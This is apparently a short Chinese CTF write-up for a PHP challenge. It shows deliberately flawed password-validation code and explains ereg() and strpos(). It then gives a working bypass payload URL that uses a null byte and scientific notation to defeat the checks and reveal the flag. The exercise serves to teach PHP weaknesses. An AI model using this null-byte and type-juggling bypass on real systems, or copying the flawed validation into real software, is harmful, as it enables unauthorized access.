<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
01 ereg()
ereg ( string $pattern , string $string [, array &$regs ] ) : int
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
02 strpos()
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
查找字符串在另一字符串中第一次出现的位置。
Ox3 payload
http://127.0.0.1/Php_Bug/05.php?password=9e9%00*-*
- ereg ("^[a-zA-Z0-9]+$", $_GET['password']) !== FALSE
该字符串从头到尾只允许出现字母与数字
- strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
该字符串长度小于8,数值大于9999999
- strpos ($_GET['password'], '-') !== FALSE
该字符串必须有“*-*”字符
- getflag
条件1与条件3矛盾,条件二自身有点小矛盾
%00
9e9
Ox6 Ref
感谢"git主"(滑稽)地整理:github地址
感谢官网助攻:官网手册